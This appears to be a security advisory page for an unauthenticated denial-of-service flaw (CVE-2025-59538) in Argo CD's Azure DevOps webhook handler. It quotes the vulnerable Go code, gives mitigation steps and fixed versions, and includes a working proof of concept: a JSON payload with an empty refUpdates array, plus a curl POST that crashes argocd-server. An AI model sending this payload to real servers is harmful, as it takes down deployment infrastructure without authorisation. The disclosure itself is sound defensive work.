Skip to content

GHSA-gpx4-37g2-c8pv BIT-argo-cd-2025-59538 CVE-2025-59538 GO-2025-3995

Argo CD Unauthenticated Remote DoS via malformed Azure DevOps git.push webhook

High Go
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
9.36%
Chance of exploitation in the next 30 days. Higher than 95.40% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-248 Uncaught Exception
CWE-703 Improper Check or Handling of Exceptional Conditions
Fix
Available
2 packages have a fixed version

Description

Summary

In the default configuration, webhook.azuredevops.username and webhook.azuredevops.password not set, Argo CD’s /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty.

The slice index [0] is accessed without a length check, causing an index-out-of-range panic.

A single unauthenticated HTTP POST is enough to kill the process.

Details

case azuredevops.GitPushEvent:
    // util/webhook/webhook.go -- line ≈147
    revision        = ParseRevision(payload.Resource.RefUpdates[0].Name)        // panics if slice empty
    change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID)
    change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID)
    touchedHead     = payload.Resource.RefUpdates[0].Name ==
                      payload.Resource.Repository.DefaultBranch

If the attacker supplies "refUpdates": [], the slice has length 0.

The webhook code has no recover(), so the panic terminates the entire binary.

PoC

payload-azure-empty.json:

{
  "eventType": "git.push",
  "resource": {
    "refUpdates": [],
    "repository": {
      "remoteUrl": "https://example.com/dummy",
      "defaultBranch": "refs/heads/master"
    }
  }
}

curl call:

curl -k -X POST https://argocd.example.com/api/webhook \
     -H 'X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111' \
     -H 'Content-Type: application/json' \
     --data-binary @payload-azure-empty.json

Observed crash:

panic: runtime error: index out of range [0] with length 0

goroutine 205 [running]:
github.com/argoproj/argo-cd/v3/util/webhook.affectedRevisionInfo
    webhook.go:147 +0x1ea5
...

Mitigation

If you use Azure DevOps and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.

If you do not use Azure DevOps, you can set the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads.

apiVersion: v1
kind: Secret
metadata:
  name: argocd-secret
type: Opaque
data:
+  webhook.azuredevops.username: <your base64-encoded secret here>
+  webhook.azuredevops.password: <your base64-encoded secret here>

For more information

Credits

Discovered by Jakub Ciolek at AlphaSense.

Affected versions

Go

PackageVulnerableFixed in
github.com/argoproj/argo-cd
all versions
No fix yet
github.com/argoproj/argo-cd/v2
>= 2.9.0-rc1, < 2.14.20
2.14.20
github.com/argoproj/argo-cd/v3
>= 3.2.0-rc1, < 3.2.0-rc2
3.2.0-rc2
github.com/argoproj/argo-cd/v3
>= 3.1.0-rc1, < 3.1.8
3.1.8
github.com/argoproj/argo-cd/v3
>= 3.0.0-rc1, < 3.0.19
3.0.19
github.com/argoproj/argo-cd/v3
>= 3.0.0-rc1, < 3.0.19
>= 3.1.0-rc1, < 3.1.8
>= 3.2.0-rc1, < 3.2.0-rc2
3.0.19
3.1.8
3.2.0-rc2

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/argoproj/argo-cd/v2 Go → 2.14.20

go
go get github.com/argoproj/argo-cd/v2@v2.14.20 && go mod tidy

github.com/argoproj/argo-cd/v3 Go → 3.2.0-rc2

go
go get github.com/argoproj/argo-cd/v3@v3.2.0-rc2 && go mod tidy

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-248: Uncaught Exception

An exception is thrown from a function, but it is not caught.

CWE-703: Improper Check or Handling of Exceptional Conditions

The product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-fmxq-cgp8-87wp
Argo CD: AppProject destination-namespace and resource restrictions bypassed by PreDelete/PostDelete resource hooks
Critical Also affects github.com/argoproj/argo-cd
GHSA-j6cw-g6p4-7hch
Argo CD repo-server command injection via crafted SSH repository SOCKS5 proxy URL
High Also affects github.com/argoproj/argo-cd
GHSA-h98r-wv3h-fr38
Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation
High Also affects github.com/argoproj/argo-cd
GO-2026-5618
Argo CD: Kubernetes Secret Extraction via ArgoCD ServerSideDiff via sensitive annotations
Medium Also affects github.com/argoproj/argo-cd
GO-2026-5099
ArgoCD ServerSideDiff is vulnerable to Kubernetes Secret Extraction
Critical Also affects github.com/argoproj/argo-cd
GHSA-wp4p-9pxh-cgx2
argo-cd vulnerable unauthenticated DoS via malformed Gogs webhook payload
High Also affects github.com/argoproj/argo-cd
GHSA-f9gq-prrc-hrhc
Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload
High Also affects github.com/argoproj/argo-cd
GHSA-g88p-r42r-ppp9
Repository Credentials Race Condition Crashes Argo CD Server
Medium Also affects github.com/argoproj/argo-cd
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor